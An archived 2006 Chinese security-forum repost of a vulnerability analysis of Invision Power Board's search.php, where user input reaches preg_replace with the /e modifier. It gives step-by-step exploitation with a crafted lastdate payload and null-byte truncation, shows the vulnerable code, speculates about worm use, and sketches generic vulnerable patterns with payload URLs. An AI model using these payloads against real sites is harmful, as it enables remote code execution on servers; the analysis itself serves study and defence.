邪恶八进制信息安全团队技术讨论组's Archiver

金州 2006-6-14 15:03

[转载]ipb search.php 漏洞分析及思考

文章作者:SuperHei

ipb search.php 漏洞分析及思考

Author:SuperHei_[At]_ph4nt0m.org
Blog:[url]http://superhei.blogbus.com/[/url]
Team:[url]http://www.ph4nt0m.org[/url]
Data: 2006-04-27

#############
##简单分析###
#############
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:

if ( $this->ipsclass->input['lastdate'] )
  {
  $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1

selected='selected'", $this->output );
  
  }
}

通过变量input['lastdate']注入/e, $this->output注入shellcode。

#############
##利用方法###
#############

注册一个用户,发个贴 内容[shellcode]如下:[

superheixxxxxxxeval(phpinf0()); //

注意最后的;和//之间有一空格

然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]

可以得到searchid
[url]http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul[/url]

t_type=posts&highlite=superheixxxxxxxeval

然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:

[url]http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul[/url]

t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00

#############
##分析讨论###
#############
1.[quote]
简单分析:
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:

if ( $this->ipsclass->input['lastdate'] )
  {
  $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1

selected='selected'", $this->output );
  
  }
}

通过变量input['lastdate']注入/e, $this->output注入shellcode。
[/quote]

这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交

的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为第一参数里正则表达试匹配后的值。归根结底

我们提交的shellcode还是在第2个参数执行了。

2.[quote]注意最后的;和//之间有一空格[/quote]

这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//


3.preg_replace存在null截断漏洞????

我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:
$a=$_GET[a];
echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");
?>

我们直接提交[url]http://127.0.0.1/test2.php?a=2[/url]出现错误:
Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3

提交[url]http://127.0.0.1/test2.php?a=%002[/url] 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是

经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。

4."lastdate=z|eval.*?%20//)%23e%00"的构造
主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。

5.worm的利用?
还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片

认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......

#############
##总结模型###
#############
1.直接在preg_replace第2个变量执行的模式:
echo preg_replace("/test/e",$h,"jutst test");
?>
提交[url]http://127.0.0.1/test/11/preg.php?h=phpinfo[/url]()
实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞

2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:
echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);
?>
提交:[url]http://127.0.0.1/test/11/preg.php?h=[/url][php]phpinfo()[/php]

参考:
r57的exp:[url]http://www.milw0rm.com/exploits/1720[/url]
更多资料:[url]http://www.google.com[/url]

页: [1]
© 1999-2008 EvilOctal Security Team